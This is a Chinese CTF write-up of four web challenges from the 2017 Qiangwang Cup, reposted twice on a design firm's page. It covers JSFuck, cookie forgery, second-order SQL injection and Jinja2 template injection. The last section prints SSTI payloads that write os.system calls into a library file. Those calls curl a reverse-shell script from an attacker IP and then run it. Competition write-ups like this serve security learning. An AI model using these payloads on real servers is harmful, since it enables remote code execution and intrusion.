2017广东省强网杯 WEB题writeup

W-design2017.09.13

今天下午六点,第二届强网杯线上预赛正式结束。这是我们团队首次参加CTF比赛,在这次比赛中我们也收获了不少东西。能拿到不错的成绩都是依靠团队里各位小伙伴的给力表现,在此,要感谢团队的小伙伴们!


这次比赛中 WEB题目共有四题,下面会逐题奉上我们的解题思路。



# WEB 50pt #

## broken ##


题目内容是一段 jsfuck,但是直接在浏览器控制台中 eval执行会提示语法错误:


仔细观察 jsfuck的语法结构,把最后的 ()去除,并加上 ]。再在浏览器控制台使用 eval执行,得出一个 数组结构,flag就在 数组中。




# WEB 100pt #

## who are you? ##


直接访问题目地址,会出现以下提示:


观察请求数据,发现 Cookie中新增了内容:

role=Zjo1OiJ0aHJmZyI7

Zjo1OiJ0aHJmZyI7进行base64解码后得出:f:5:"thrfg";

我们在这道题卡了一段时间,最终才知道 thrfg需要进行 rot13编码,thrfg编码后内容为 guest,那么将 admin进行 rot13编码再将f:5:"nqzva"; base64编码然后发出请求。



接下来只要根据注释内给出的提示发出请求即可获得 flag。



# WEB 200pt #

##phone number##


根据页面提示随意注册了一个帐号登录后的页面如下:


有一个check按钮,点击按钮进入 check.php页面,查看源码可发现:



猜测 flag就藏在 admin帐号的手机号中。测试了一番,发现是一个二次注入,注入点在手机号的位置。由于后台对手机号进行了检查,所以在注册帐号的时候需要将注入的 payload转换为 hex(0x)。写了个脚本,跑出结果:




# WEB 400pt #

##Musee de X##


WEB 400pt,首先注册一个 admin帐号进行测试,在 donate.php页面填入一个内容为非图片的url和当前登录的用户名,提交后页面报错,根据页面报错得知服务端为1.11.5版本的 Django,并且开启了 debug模式。因为 debug模式,所以可以直接在报错页面看到发生错误的相关代码。直接贴出关键代码:



由此可知是 jinja2的模板注入漏洞,输入点位于用户名处,所以需要注册一个用户名为 pyaload的用户执行 donate操作触发模板注入漏洞。

这里直接贴出我们的 pyaload:(通过写入 python代码到 /usr/local/lib/python2.7/dist-packages/jinja2/environment.py来触发代码执行)


第一步,下载远程文件:(文件内容是一个反弹shell)

{{''.__class__.__mro__[2].__subclasses__()[40]('2f7573722f6c6f63616c2f6c69622f707974686f6e322e372f646973742d7061636b616765732f6a696e6a61322f656e7669726f6e6d656e742e7079'.decode('hex'),'a').write("nos.system('curl your_ip >1')")}}


第二步,执行下载下来的文件:

{{''.__class__.__mro__[2].__subclasses__()[40]('2f7573722f6c6f63616c2f6c69622f707974686f6e322e372f646973742d7061636b616765732f6a696e6a61322f656e7669726f6e6d656e742e7079'.decode('hex'),'a').write("nos.system('bash 1')")}}


反弹shell成功,在当前目录下即可找到存有 flag的文件。



至此,WEB题完结。

手机网站建设首选华仕尊城设计http://www.w-vi.com

2017广东省强网杯 WEB题writeup-网站建设

2017-09-13 08:02:21

您现在的位置:首页网站建设2017广东省强网杯 WEB题writeup

今天下午六点,第二届强网杯线上预赛正式结束。这是我们团队首次参加CTF比赛,在这次比赛中我们也收获了不少东西。能拿到不错的成绩都是依靠团队里各位小伙伴的给力表现,在此,要感谢团队的小伙伴们!


这次比赛中 WEB题目共有四题,下面会逐题奉上我们的解题思路。



# WEB 50pt #

## broken ##


题目内容是一段 jsfuck,但是直接在浏览器控制台中 eval执行会提示语法错误:


仔细观察 jsfuck的语法结构,把最后的 ()去除,并加上 ]。再在浏览器控制台使用 eval执行,得出一个 数组结构,flag就在 数组中。




# WEB 100pt #

## who are you? ##


直接访问题目地址,会出现以下提示:


观察请求数据,发现 Cookie中新增了内容:

role=Zjo1OiJ0aHJmZyI7

Zjo1OiJ0aHJmZyI7进行base64解码后得出:f:5:"thrfg";

我们在这道题卡了一段时间,最终才知道 thrfg需要进行 rot13编码,thrfg编码后内容为 guest,那么将 admin进行 rot13编码再将f:5:"nqzva"; base64编码然后发出请求。



接下来只要根据注释内给出的提示发出请求即可获得 flag。



# WEB 200pt #

##phone number##


根据页面提示随意注册了一个帐号登录后的页面如下:


有一个check按钮,点击按钮进入 check.php页面,查看源码可发现:



猜测 flag就藏在 admin帐号的手机号中。测试了一番,发现是一个二次注入,注入点在手机号的位置。由于后台对手机号进行了检查,所以在注册帐号的时候需要将注入的 payload转换为 hex(0x)。写了个脚本,跑出结果:




# WEB 400pt #

##Musee de X##


WEB 400pt,首先注册一个 admin帐号进行测试,在 donate.php页面填入一个内容为非图片的url和当前登录的用户名,提交后页面报错,根据页面报错得知服务端为1.11.5版本的 Django,并且开启了 debug模式。因为 debug模式,所以可以直接在报错页面看到发生错误的相关代码。直接贴出关键代码:



由此可知是 jinja2的模板注入漏洞,输入点位于用户名处,所以需要注册一个用户名为 pyaload的用户执行 donate操作触发模板注入漏洞。

这里直接贴出我们的 pyaload:(通过写入 python代码到 /usr/local/lib/python2.7/dist-packages/jinja2/environment.py来触发代码执行)


第一步,下载远程文件:(文件内容是一个反弹shell)

{{''.__class__.__mro__[2].__subclasses__()[40]('2f7573722f6c6f63616c2f6c69622f707974686f6e322e372f646973742d7061636b616765732f6a696e6a61322f656e7669726f6e6d656e742e7079'.decode('hex'),'a').write("nos.system('curl your_ip >1')")}}


第二步,执行下载下来的文件:

{{''.__class__.__mro__[2].__subclasses__()[40]('2f7573722f6c6f63616c2f6c69622f707974686f6e322e372f646973742d7061636b616765732f6a696e6a61322f656e7669726f6e6d656e742e7079'.decode('hex'),'a').write("nos.system('bash 1')")}}


反弹shell成功,在当前目录下即可找到存有 flag的文件。



至此,WEB题完结。

手机网站建设首选华仕尊城设计http://www.w-vi.com

深圳网站建设首选华仕尊城  http://www.w-vi.com

W design values every chance to work with you.